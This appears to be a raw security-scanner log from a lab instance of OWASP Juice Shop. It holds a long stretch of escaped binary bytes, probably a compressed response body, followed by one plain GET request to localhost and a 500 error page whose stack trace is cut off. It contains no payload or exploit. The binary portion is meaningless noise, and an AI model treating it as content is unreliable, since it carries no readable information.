k \xc7w6\x84\xc8c\x9ev\x0b\x02^t."\x9f\x9b\xf5\x19\xa4\x19I?4\x0c]*=\xf3\x82\x0c\x11\xb1\xc8\xe5\x92x\xa9E\xf8_Iu\xe9\xc6\xea\xd2\x88\xcay\x0f\x1f\xc4\xc0\x88"q\x9c\x9f\xd0\x8ag\xe5\x89\xf4u\xcb\x03=\xdf\xd9\x9c\xc4i\xfb\x12\xce\xf2\xed\xbe \xa7\xfa\x96\xce_gy\xa3\xac\xadm\x7f{\xfb\xda\x82u\xa5\x1fN\x97;\\\xc8\x85\x1c\x85\xefU\xf9~\xfb\x8d@\xf2\x0cm7\xcb\x0e\xa5S\xf9\xed\xb5b/5\xda\x15\xfa\x83\x89`\xd6n\xc0\n\xeb\x1c\x19[.f\xed\xed\x01\xf3\x8ci\xe61\xce\x0e}R8\x01m\x08\xe1,\xa0\r\xe7\x06\x82\x00\xce\x86F9\xdaq\xc6\xcb\x04\x97\x9f\xa0\xc7\xd1\xf1p&\xfc8V\xee\xccl\x92\x1b\x0c\xa9t\xba\xb4V\x0b\x13\x82\xe8X\x18\x1d\x08\x912\xe8\xfb\tK\xa5\x03\xc1\xf9o\xc9\xf7OL&@(l\xd5.D\x19U1\xaaB\xb9\xf85,f\xc9\x02\xa5\xd1\x98_k,\xacjV\xac\xac\xa6\xe9\xd57\x14\xd72Y\x8c\xcf\xc9C\xc4bPJlARbkAbJAlr\x90\xa2>\xfb\x98%\x8a\xb2:r\x10\xd5\xf6F\xac\xe1#?\xe2\xfbQD\xb7\xbd\xeb\xfd\x11\x1fqQ\x90lDw+T\x1f9\x18\xb6\x8c\x8b,8\x96=\xb1\xbb\x8e\xe8b\xdb\xb3\x93\xba\xdd\xf4\x86\xec]\xd1\xf4\xe8Mk\x81\t\xdf\xc4\xdc\xf2\x93\t\xbd\xc8.\x02\xa8c\x0e\xcb(i\x0eA\xc1;yI\xda\x90(\x83\xda/tF\xe5\xac\x93,S\x19V\xe8\x0bzL\xdf\'o\xba`\xaf\xe9\xc2\xd3&j1w\xe7\x9f\xa7\x9d\xb5\xe5C\xfbl\xa1\xbc>\xab\xdc\xa3T\xcb\x93\xa6\xdeH\x7fiJ\x97\x8e\xa7\xfe W?V^QZK\xd5\xe6F\xc1\t\xc7I\xf0\x94\xf3u\x8f\x07\x13?P\x9eW\x17jJ\x0b\xd3\x9b\xdaN\x14\xf5\xfa\xba\x1b\xe0I\xdb\xb5:{\xa6\xa4\x0e\xeb\xa4\xcb\xe9[H|V_\xa3\x04Uw%\xe0\x00nIBW"\xcd\xf8\x07?_\xb0=?\xa8+\x02\xcf\x8b\xc0\x07\x05\xe9m/\x80\x16\x7f\xbe\x982;/\x8b\xf9\xa3\xac\x9f\x8c\x80\xf1\xf3#4\xb0\xfb\xe2+\x1ex~h\xb7\xb0\x9cP\x19\x9f\xd9\xb7\xfb\xc5\xf5\xeb\xdf\xd10\xc9+\xa4W_\xcb\x8a\x8c\xddC\x9f\x8b\xd0(\x0f\xc7h\xc65\x1f.\xe1\x86\x9aV\xc7F\x1e~||<\xcd\xaf\xc9O\x8e\x1e\xa1\xad\x92\xa7o\x8b\xba\x0f+\xf7\xad\x0f\x17%\xc4D\x8b\xc4D\x8a\xe2\x82\'\x10\xee\xebU\xc4\xb5V\xe5T\xb5\xc6\xcb\xa1k\xd7\x8d\xdd\x9eV\xce\'3\xaf\x9cx\xabd]>\xd6yt\xab\x94\x03\xd9\x15\xc3\xbd\x02\xec\x1f\x18\x1b\x80\xd2\x1f\xb8\xc3\xd3\xc4o\x0f\x88\tD+m\x1e\x1d\x1d\xd1T\xaf\xb8\xee\xb1&\xb1\xde\x1c\xaf\xef\x1c\xdf\xe0\xa0\x0f^\xc2\xad\x9e\xdb\xcf\x8f\xdd\xd8\xb8\x02\x95\xfcy\x0fAl\x0f\xf3\r\x83\x1f=x\x08\xc6\x1eJ\xe9x\xf2I\x8f\xab\xf8\xd4W<\x8b\x9c\x88\xe5\xad.g\xd0\x01\x11\xdd\xa7Z|\x17^r\xa7\x10B.\xce&\xdalP\\l\xb59\xc5M\x92\xfc\xb2\xbb\xf5q\x91\xf2\xcb\xccnK\x8do$\xb8\xd6\xc9\xaa\xc98\x13\x1d\xaf\xc3"\xa2`\x92\xbd5\x1988\xb1\xd3\xd6.\xf6\xb9"\xc3\xee\xbfc\x1a9J\x18\xd1\x91-\x0f\x82z\x7f#\xb3\x9bjQ\xdf\xb6\xaf\x8c\xf5\xbd\xf6m\xd49E\xd0_t\xc5\xc3\x98w\xe2j\x9a\x91\xba>\x92\x07\xa5\xf6\xabL]\xf7t\xed\xe9\xb7\x17\xa7\x14\x9e\xec_\xa0;\xc90j\x0e\x0cj9\xed\x8bnAL\xb6v+\xb0\xa1\xa5\xac\xae\xa1{\xde\xec\xaf\xe0\xf1"\xe6+\xfa\xdf\xbcg\xa8+\x8b)Ihh\x132\x911\xb75\x9a\xdb\x03\xab\x19\x1f\xc33DK\xf34\xe2\x08\x04\x1b\xfa%%\xb1\xe5\x7f\x8d\xcd\xa3&\xa8\xe0\xf3z\xe7\x83\xc3I\xcd\x8b\xfd\xeb\x0f"\xad\x07\xd8\xf2\x8b_\xc3\xcbI\xe7\xfa\xba>}\xf0\xcb|\xf3\x1f4\x9b\xcbg\x8f\x8f\xa4W\xcc\xe7n6\x8d|\xde\\\x91o\xfe\x92?\xbf\xfa_cD\xfb\xbb \x9f\xb2\xef\xba\xf2\x96p|\xb6\x1c|\xd5\x19:6p\x96\xad\xb9\xe4\xe9\xec\xb8ez\x93\xc8\xc9e(\x17\xce+i\x9et\x18\x98\xec\xde\xf8\xe3\x9b\xc4\x7fR\x99\x88F\xb8s\xd2"l\xab\x03\x13\x18\x9fO\xf4\xf9r\xbcq~A\x08\xea\xb9\xb2_i\xd7T\xbf\xb9B\xb8u\xf7n\xf5\xcc\xec\xd4\xad\xd9\xd1Q\x8f;\xc2\xa6\xef\xcf\x9d\x8bi\xdf\xbc\xb9=\xe6g\xff\xa1\x9f\xc7\xf1g(\x89\xb0\xfa,\xa3\xc0g\xc1\xba\xee\xbb.\x9f\xdf\xe5\xca\xa6\x88\x05\xe2\xab\xd3n+\xb4\xb5H7\xc7\xb6}\x8a\xe1\xe4\x1f\x92+\x08\xdf\x07\xad:\x93\xcb\xb7\rg\xf2\x97ks\xb7+\x0e\xfb\xa5s\xb5\xd5\xbe\xb0\xcb0\x8b\xf8\x9b\xf1\xa9u\xf1\x9dQQP\xf9\xa3\xc1\xa3\x12\x8f\xc0;\xd6\xc9~e\x90g\xcdJ\x82\xfd\x89\\\xae\xec:\xa5\x96q\xfeBE\xf57\x90\x00\xc7\x85\xdd\xc5\xb2\x8b,\xeft:\xd8\xdd6\xd8\xdc\xbf\xc3\xbcX9\xd5Tl\xc9\xf3*\x8f\xaa\xe0\xe3\x01\xc4\xd7\x06\xd8\x07\xa6\xb5\xcf\xd7F\xebG?E\xae\xfa\xfdH^\r\xf4\xdc\xcc\xb2\x01\t\x9azA\xa8\xd7l\xf1\xcf\xf8\xa9/r{M\xcb\x94\xef\xf6\x17\xc9\x97\x84\xc3\x062\xc7=S\xbb3W\x1b\x8d\xbdU@\xf5\xfdg\x0c\xfe\x01\x08\xf7\xcfR\xd6G\xee\x94%\xf5z\xae\x93D\xfa7\xdd~\'e\xf1v\xed\xea#k#K\x7fD\x9f5\xfa!!\xe9x6\xc0\x8d:jq\xdf\xfbg\xae8\x05\xa5p\xc5\x7f\xbe\xd7m9:\x91\'\xd6\xe2\x1f\xe43<\x94c\xaa\xa4\xa3!\xf3\xa6\xd3\x06\xdf\xf1|\xf8\x02\x9cY8\xfa\xc9\x11\xff\x13\x90\xb6\xeb\x1e\x04\x87H\xed\n\xa2\xde\xd6y\x19\xf9\xf9\xc6~\xd8}\xd4\xeb\xdb\x1a\xeaB\x92\xb6\xa4d\xae)\xe5\x99\x86\xb6m:\x16\xa9\xfb\x93\xeby\xb6\xd7\xf8\xe3\xe8\xd6\xdf\xd5?4\xf6\xe3\x17\xef!\xab\xf6\xaf\xe5\x99(\xdb\n}BE\xb7\x19\x95\x9e6\x18\xac2;\xdfG\xc9\xe7:i\xf3\x9f7S\\\xa4Me\xa4\x0f\xd5\x1a\xa5\xfe\x07\x9c9Xg\x8e\xc8\xf5\x8e\xb3I\x89\x01\xf1\x11=\x1fg\xfc\x16\xdb\xd1q\xab\xb3c\xf0\x85\x96\xb2\xe0\x08\xc9\x00e\x12;\xee\x856\xcf\xff\x94\x8bP\xd1\xb1\xaa\xfb\xac\x0f\x15\xdd\xe3\x96\xed\x94\xaa>MR\xaf\xbb\xe7\x07\xa3a\xbb\xf1g\x83\xe4\xd7\x02""\x8eW\x11\x9a#\x1f$k?:\x9c\x1c\xff\x11\x1c8\x01\xce\xc9\x96\xfd\xd5K\x9e\x17\xf1\xf6gVvvx\x1a\xea\xb7\xfb\x89\x07\xf8\x93\xbc\xd5\xd5\xf3T\xccQ^\xeb\xbfBr3\xb74\x07@D\x7f?\x88\xe3\x87\xcb\xf3[\xe0\xed\xf6\xb3\xf6\xa7\x05\xf9y\xc4\xd6\xe1\xda\x8d\xf7\xc6\xf6\xc5\xed\xdb\x14Q\xe3\xb8\xb2\x99\x0fc\x9f\xff\xcb`|[\x8b\xa1\xcc\xa6{\xafU\xf0=yP\xdd\r\xd89\xec\xa1\xa1n\xf8,\xb4\xeb\x1b]UQ9\xd4\xbdu\xd5\xca]\xd4\xe9\xfcG\x01\xc8\x81^x\x019\x10\x19\xaeLf\xech\x0e!\ty\xf0\x82\x9d\xff4\x00\x88\xa2\x88\xb0\x81\xb35\x0c\xf5D;\xe8\x16\xbbjKr\xd6\xe5\xf0e3\xc2(\x97\xe2\x82RV\x03\xfd\xf3UHwK\xa7<\xe8]\xa4\xa4Qi\x08Y\xb7\x8d\xb7\x7f\x11S\x96\xfb\x8dF\xa4+\xcc\x15\x87\x1f;\x02=w\xcc\x8f^\x1e\xf9\xf7\xd5\xb9w\xf7VV\xf6\x18\xbaV\xb1a\xc3\x11cEi\xc7\xba\xfd\xce:`\x81(\x0c|\xfe\xef\xa8-\x17\xfe\xb2RZ\x89\xce,\x93BL\xf3\xcd\x10\xb3\x89\tqbB\x16A\x12\n\xe4\x04\xf30\x07.\xbeaDV\x16;\x1f\xab\xf0\xcd\xf1\x17O>\x1f2\x8d\r\xb1\x95\xe2\x02"\x92\xa4W"\x82<%\xb8\xe8\xa2\x04\x83!}\xb4\xa4\x99P\'2nL\xb6~g#V\x1e\xf1\x07.S\xdb\xc4;q\xe7\xc9\xe4\'k\xe6hD\xcf-4F\x1e}[`\x9c{\xbf*(\x08K+\x1b\xbaRt\xcf\n\x13\xad\xe0\xfep@\x97\xb6\x1e\xe3\xc3l\xae?\x92\x8f\xaej\xd0\x05\x94\x05\x87H\xa5{\x8a%I\x82\xe8\xf8\x92\xd9\xe7\xf2\xfb\xd5\xf7\\\x16\xc3\xd0M\xb8\xfa\xd5,\x90cml\x1b\xa4\xad\x18[\xd2g\xccg\xd1D\x92l\xb2\x97 Z\xab,\xb2\x9f\xcc\x9aw\xdf\r\xd9K]-1\xd9\xab\xbe\x9d\x0f)X\xa5\t\xffL7\xb1\xec\xa1\xa8UqY~A\x90\xef\xe8\x01\xe2\xff\xc2\x10\xfa\x9a\x8b\xd0\xea\x9b\xe0\xe8\xda\xaf\xfc;s\xcd\x9d\xaf\xdf\xc2D\x1d\xcb\xc1\x9e\xa7JQK\xff\x129^^\x1b\x85\xd5;\x12\x15\xaa\xcc\x89\xbbV\xd6f\xa3\xac\xfcF\xc3\x1fV}\xc4\xb2I\xac\x96\xdd\xda\xfb\x0b\xe5}\x81qc\x1b\x94E+\x04;\xd5\x81l\xc9\x9f\xd1\x9f\xfdq\t(\x19\xcc*\x04\x9d\x89l\x8a\x07\xe6\x03\xfb\xf7\x7fc\xba\x013N4\xef\xe5\xa7\x06n\x0f"\xc6;0>x\xc77\x0cA\x9e\xad\x13\xeay\xf4\xfcl\xb1\x13\xeai\xd5\x01\xa79%\x9d\'?}\xea\xd3\x8f\x8dZ\xb7h\xe7\xc7/\xa9wW\xf1Gy[~%G\xfdE\x11\x89h;\xdc+\xa8\xb8\xf8\xdd\x8d\xff}}\xf7\x83+\xa7\x1aR\x0f\xa90\xdf\x12!u\xfe\xd0\xc6w\x07J\x07N\'\xfero\xcc\x8e\xadhx\xfb_cL\xd5WN\xe65d}\xf8\xaa\xf7\xbb\xd7\x7f&~\x94\xea\xca\x99\x84\xfeM\'\x1f\xd83\xf6\x90\xaa\xe6_2\xf23e3)\tA\xaa\xea\xfe\xd9=C\xeaQFNv\x9d|\xf9\xc2\xb5K\x17\xf2/L\xff\xe3\xc2\xcb\'\xdb.\x7f\x98\xf5\xe1\xae\x9f\xe4l\xce\xc7\xc8\xce\'W\xfe\x04N\x0f\xf51\xf5\xf0k\xd8\xea\xd0\x11\xf8\x902j4S\xc7\x9fT\xca\x87\x12N\x84+\x7f\xad\x96+\xcfa>s!\xa9"\x84\x10TgnW\xd6\xc6\xd7VE\xcbn\xdd\xfa\xe9\xea\tO0\xbd\x9aEa\x80\x0b\x84\'\x92/\xed\xa2\xbd\xf0+\xbae\xef+\xa7\xf2r7\xac7\xb6\x04\x9a\x93\x9f\xc7h\xdf\x81\xedK\xd9\xba\xfdZY\x9d\xff\xfb\x9a\xc8\x9buJ\x8c\xf7/}"\xba\xdb\xec\xa3\x17\xa37j,\'\xc3\xc3\xa9\xe1\xe1\xb4Eu\xd2\x17\xb1\xefE]\x17\xe3-r"\x93,b\'\x955\x19\xa9\x03\xc7)Y\xb8\x8cJXL\xb8Z\xfb\xf1$\xb2\xd6\xaf\xd0\x1fJj\xd5\x01\xaf\xb4\xef\xf7[\xc0&\x92\x1fey\xd7\xeeY"}\xb9\xa0\x1b\x0bP\x7f\x81fh\x0b\x9d\xb6\xc4\x7f\x8c\xcb\xdc\xb4[v\xec\x1f\xb8\xd9\xbf\xc7\x9f\xbc\xe5\xfd\xdfh\x8dC\xb7\xe4\x1f\x82\x883\x1c\x9b\xa6\x9f\xf8\xa1\xea%\x1a\xd3/`\x06s\xbd\nc\xfa\xa4\x0e\xa7\x90\xa6yX\x12\xc3\xc20V\xf7\x1b\xb8\xa5\xf2`\x1c\xac\xc8,2\xed\x7f\xd7\xf81_0\xa9\xe2\xa2\x98\x1a\x8e\xe9\x97\xfa\xf7\xe3eQm{W\xe5_J[p\xcb\xe33~\xe0L\x92\nB\x12\'\xf5\x1a&\xaeD\xec\xc4>Vdm\xd1a\xef#\x0b\x02x\x12\xcf\xa7N\xa6V\xd3w\xc7\x063\xc19\xcf\xa3\xc3\x0c\xc3\xd4\xf7\xbc\xab\x9a\x0f\xcf\xe7\x90<\xafzW\xff\xad\xac\x0b\xbco\xde\x15\xfd\xdc8\x80E,\'8E\xe7Eq\xd8D\xbf]\x8d\x99\x028\x91\x9a\xf3\x8a\xae\xee\x8e\x98\tN@\xfe0R\xe2\xe3\xb6\xfd)2\xf1\x8f\xa1\xf8\xf5\t\xc6N\xbf\x8a\xe6MR\xe5!\xf3\xabn\' [\xd9\xb3T\xaf\x1du\xb8a\xdb\xe7\x8e\xcf\xb7pXp\x11\xf0\xf4\xc9!\x80\xca\t\x93\x84#\xf6\x16A\xfb\xe0\x82}\x01b\xf0%k\xa0\xd8T\x99+n\xdcx4C\xca8\xba4,f\x9d\x16-W\x1aO+\xd7\xd9h\x1b\xb2\xeaS\xaa\x10T\xe5\xc9P6g\x90\xd9L\rR\xfeq\x8c\x7f}=?\x92\xaff\xe2\xd4r\x92:\x1a\x81\xcb\xa3\x06w\x1f\x1f\x8c\x1f\xbc:8;!\xfer\xac\xcd60:z\x7f\xbc\xcb\xfc\xfc(3\xfa;\xd6\xa2u\xb9`I78 \xdd\x10!P\x05\xb4\xdd\xcb\xc7\xf7\xe0\xb1\x12\x1f)\xb3F\xadk~\x1d\xa5gG8\xf9\xfc\x148\xf2hTz\xb6\x9c\x06\xacQ?v\xa4\x83\xdc<\r\xa8QM\xd4\x9c\xc1\x1f\x97>cC6\x85K\x16\xfd\x12\xfd\xa5hY\x83 w\x97z\xef\xe0YP"[\x11\xd1\x81\xea\x80\x9d\xef\xba\xc7\xed\xb0.\xb3\xc8\xeapoG\x1b\xb0\xb2\xebXx \xfd\xae0!\xee\x9b\xbeRO\xcd\xff2K\xfb\xbe\x89KH\xff\xdd6\xb7\xf1+\xe3\xdd\x95w\xc3u\xe6\xd5k\xdf\x80\xf6\xed@X>NI\x06\x87v\x0eM\xaf\x0e\xa6\xc2\xbd\xf8\xd2\x86>\x97!\xc3\x92\x96<\x9e\xcc<r\xea\xe2\xc5S\x8f0\xc9\xa7\x925Y.~\x99\x87\xcb\xeeyuM\xf1\xc5\x0f\xc4\xfe\xdfm0\xe6\xac\xacy- #=\xba\xf9\x8f\x89\xf1\x97\xe6\x7f\xa7\xa0\x0f\xcb\xfe+\xb5\xd0%\xfc\x99i`\xed\xf7\xe8\xa5KVlU\xbb\xce&\x86\xe10\xc5\x9fk\xbbG{\xb2\xe2\xfdCl\x1a\x95Flf\xd3\xfa5,b\xa9q`A<\xea\t\xc7S"\xc2\xa9\x9d\xe6N~\xb5\xcby\x8a\xf7\xc4\xaby\xff:\xc4#D\xf4Y\xd3\x82T\xa4\xf5\xda\xba\xc7"\x90\x1a\x99G*\x94<\xb2\xc0\x06u\xb4\x0b\x82hQ\x87\xd1x\xbd\xb7\x0f\xe3\xbe\xde[\x11u\xbc\xb5\xde\xea\xeb]\xdf\xdbw=\xf7\tS\xc1[\x1b!\xf4\x8a\x1b\x8a@\xb2a\x84\'|\xc3\x84\xcd\x8d\xa8F\xa8ZG\xb5\x82`-Zsy\xb8C\xf0\x1ckkT\x9f\xf1=\x15\x95\x1b]\xb5\\\xbf\xd8on\x9d\xfb\xef\x11R:%w1V\xafM=\x0f#\x7f\x12\xc57\x9es\x11C\xa7v\xc2u\xd4a\xd5\xc2O\x99\xb90m\x1a\\0\xbe\xbbAu\x98\x9a\xf7vy\xfd\xfc\xec\xaa6\x85x\x04\xe5\x9d\xba\xe8\x1d\x9f\xb8\x05\x0e\x11\x8f$V\x89\x05\x04\x89J\xe2?G\xa1\xb7"A\x12\x91\x90\xe0\xe2i\x071P\x8e\x11\x07T\xf8\xc3\x86R\x1fu/mh\xc8:\xbc\xb4"\x1b\x8cu\xb487\x9c\xcf\xe6\xab\xeb\x07\xd7\x95|\xe0\x97\xebWmrA\xfc`\x9f\xf5\xb1^\xa2I\x1fW\xb5qc\xd9\x9a\x9a\x9d\xcb_\xd9\xad\x98jF\xc6\xe9WT\x05\xcd\x84\x9d\xec\xfe\xfb\x97\x8f1\xc5J\xc6\xc7\xdcf\xa53f\x94|\xa4C_\xd8\xb4\xf4Yy\xf7>\xca\x8cGSU\x92*\xc9^\x9c]|$IuI\xa5\x1b\xd0mX\x89M\xc5\xab\xe2\xeb\x1d\n\x0ba%\'<\xfd\xdau\xfe\xb2\xe0=\xff=68\x9b_y\x85\xdde\xfd\xdf\xac\xa2\x83U\xba[(\x7f\xe3\xa3>\x19e\x8a\xb7\xba)T\xc2\x7fU\x99\xa2\xeb\xf0&X5\\6\'fc\xa8\x066\x19\xa9\r\xa1\x1aI\xa64\x1e\xda\xf6\x8d\xcfJ\\\x15\x19\x15,I44\xc7+V\xf8\xb1\xf5\xb0\xf4\xc39\x89\x07X\x99\xe2\xaa\x80\xa4\x17\x0e\xf5\xe9W\xdb\x04QdC\xe0\xca\xd0\x82\xc2\x06U\xba\xfc\x06xU\x89pT0:q\xc9\r.\x98\xe2DNp\x913z\xe7\x8d\xc6*\x9f^\xaf\xcd\x1f\x1d\x1fkU\xe7\x89b\xbe<\x8b\xb2\xee\xb8mOEG\x9dM\x89O\n\xe1!\x8eV\xa1\xe3-1W\xf6EE/\x8b\xc5\xe1\x96\x14\x1f*\xc1\x19=\xffNz\x028b\x00+|\x7f_\x15\x16\xc1\xe8\xad\x18\xe6\x9b\x97\x90\x04\xb8\xc3k\xd0w&O\x17O%\xab)NFYd\xa9)\xaf$i\xd4\x89\x8a\xa3TI\xb3\xa7.]\xa7\xd6\xa5\xfb\xa7\xabe\x83\x94:%\xf3\r5\xabnDK\x13\x0b\xd3V\xabdw\xb8Y\x07\xe4NW=\x99\x9c\xa6Nj\xde#u\x19}\xeb\x0b/~\xbd\xb4\\un\xba\x1f;\x86d\xea\xe4\xa9\xe4\xf1\xfc\xb7@@Z5\xf0\xc9\xd7S\x1f\xcc\x9f\xfc\xe7?\'3\xf1\xc6\xd9\x8a\x8a\xf8A\xe3\x8er\x7f\x08\x15\x8c\xdc\xc6{\xcc\xca\xa0#\xd65\x86\x8d\xf7\x15\\\xe6|\xf7\x05\xda\x1aq\xa8\x875X\x19\x84\xe9\x0f?\x1c\x1c\x9f\xe8\xbe\x89\xf1\x8f<\xce\x99+\x841BV6\xf7\x909:p\xf2\xff\xf5\xc6\xc2_\xa5\xa0\x05\xdc\xd7\xce\xff\xeb\x98\xd8\xb0XO\x7f\xce\x0e\xd9X`\xa0\xb8\xbf<\xb6\xe9D\xfc\xa6\x00\x14%0\x90ztLS\x1eb\xa3\x08V\x04\xf8\xc9\x0c0]\x8a`&\xd0\x7fF\xbc\xf9\xc4\x16Z\xfe\x8f\xb5\x1c\xcf\xcbC}\xc7\x98\xe3k\xfdd\x7fP\x04\x04NT\xf7\xe4\xa7m^\x17\x82&\xc1\x1f\xe4\xd7>\xc1\xc0\xc0g~9\xf1e\xf7\x0f\xb3w\xbf\xf1\xea\x01\x00\xf0i\xf9\xc4b\xb2~\xf9_\xe9\n\xf0\xe7?\x03\xa1\xfcS\xf7\x834\x8eN!\xbfeJ\x01GL\x8d\xfe\x9c\xf9#a\x0e\xd3,\t\x15\xba\xcdR\xdb\xeb\xfbvm6Vq\xc1A9\x16\x17\xef\xbc\x1aVi`N\xc4\xbb\xbaX\xcem\x8e\x9dN\x94"\xea\xe4%4\x9a!\xee#\xf8\xad:D\xa5\x0b\xca\xa23\xde.\x00\x19\x8dmUx\x08y\xab\r\xa26r)\xd8\xf9\xa7te\x18\xa5\xcb\x1eZVD\xd0\x06\x00%\x08B\xdf\x19.g\xfd%\x005\xb0\x99\x86Y\xbc\xbc\xb6\x8fSob\xb8\xc5\x0e\xb0m\x92./\xd3`\\\xf6z\xd5\xa16e4f!\xb9\x0c`\xe9,\x1aJ\xc0M\x16~\x08\xcdvA\x1e*\xec6\x1f\x04\xc0\x89\xc3\xa8VG\xc7X\x1a\x18\xe3%\x0eq\x94\xdc\xe6\xa2\xda J\xc4\x16\xdbaD\x83\x15\xb7\xe3G\x85\xf1\xac\xde\xd2\xc6\xc7\x98\xd9bNR\xbaW\xfd\xc9\x83^;\x00\xc0\x1b\x8c\xa1\xf0\xf4\xa2d\'\xa2\xf3"\xb1\x8a\x00o\xabt\x06\xe6\x0f\x0cM\x0c`0%\x07\x0b\xc6\xab\xda\xb0U\xcf0\x11E\x87\xc6\xc6f\xc9\xb1\x08\xbc\'h\xd1`Qe7\xfa}\xf93\xf4fX\x0f\x0e\xd0<~\xea\xa8\xa3\xa2\xa6\xd8R\x11%\xcc\x13>y\x11\x91\x1d\xc9\xa2lKu\xe2\x13\x86\x8b\\\r:\xea\xf1\x8em\x03t\x98\x0c\xc7:\x01\xc9\xb1h\xbdF!\x03[i\x88b\xb5\xe9\xb1M;lO`\xac\x00\x8b\xcf\x9c&E\xf6\xbe\xd8\x1f\xb4h\x8f\xdc\xa6\x98+\xb4\xcc\x95\xf4\xdba&\xc4gPR\xc57\xb3!\x13\x1bG\x8e\xebd!]U\xc4\xf8\xb5\xc4\r\xec4\xd3\x93\x99\x1f\x8c\xce\x15\xa6\x00\x0e\xc5`(q\x1dDW09\xd3\xe8Z\xcf\x17,l\xa2\xfe\x8b\x9f\x9e\xc8(\xa2\x04\x86(\xeb\xd6\x9e\x1b\xbc\xe0g\x06!d=\\\x99\x02\xb6\xe5z\x9c\xa10^\x86\x1dY\x8d_I\x14iZ\xb1\xc4\xb8\x86\xf5\xe0\x17\x8d\x86\xd1R\xc7\xce\x9e\xa9\x0b\xc3\x06;\xb6~\xd8;\xa8Q\xd4\xc30h\x85w\xc3:\xc6\x02\xf8\x02G\x9f\x8e\xf8\x01\xbfv>\x9a\r"\x9d\xfb\x14\xedd\x16!\xee\x04\xa0\x97\xf8B\x07\xd4\xd9\x92\x90\xbf<\x10o\xd3\x1e\xc7~B~c\xe3*4\xeb,\x87\xea\x87\xfa\x15be\xbd3\x92\x0b\x80\x01\xc6\x93\xd8\x08\x89S}\xe8\'\xb4\xec\x06\x98\x85\x81\xba\xe8\xe2\xc8|\x14T]\xac\xaak\xa4OP\\\xd0\x1a\x08\xfb\x95\xc5\xbe\xd0,K\xe7T\x03i\x02-B%f\x01\xfd\xe0Z\x16^S*h\xf1\xa1j1\x0e\xb2\x07\xfc\x80\x0f\xf0g\xf1\t\xbfhFQ\x9dr\xee\x12\x92\xa9\x06~\x06\xe7\x1bu\xfdQ\x0cO\xfa\xad\xf9\xcb\xe3\x15#~4\x080\xb4\xa2d\xdb1\xacE\xc8\x1b\x12e\xd2d\x05\xbfI\xba\xae\x0e\xe4\x1e\xfb8\xb8\xed\xb2\xa9\xf0\xb7\x04~\xdb\xe3\xff\xa0\xc5\xf8};\x9b\xf3{Ct\x06\xf0\x9b%\xd3\xc3\x9f\x1f\xf3\x93\xd4\xf3c\xfe\xa2\x1d\xfc\xb1\x00-\xc7\xea\x81\xf7?\x16D\xf9\xc5\x97J0\xf4\xb3\xcd\x8e\x9d\xfbv[6o\x19R\xe7\xe7\xe6\xadV\xd7\xec\xd8\xb1y\xeb\x80N]\xb7\xbd/G]\xbeu\xab\xba\xa5F\xf6\x9c\xa2\x81\xf0\xd6\xc0\xee\x11\x1d\xf5w\x9d4l\x1a\xba\xe4\x96M\xe0_[\xd7\xb7c\xbb\xa6\xed`\xf3p!\xda4H\xf5"C\xefh\xf7C\x06XD9\xa6\xad.\x1e\x1b\x85o\xdf\xd2g\x17\x80\xb9\xe7kx`\xb4\xc7\x10 R\x1f%\xa7\xd8\xb8\ngtk\xcaf\x94\x06\xf8\xf9K\xf9\xee\xf2\x01'
GET http://localhost:3000/api HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next 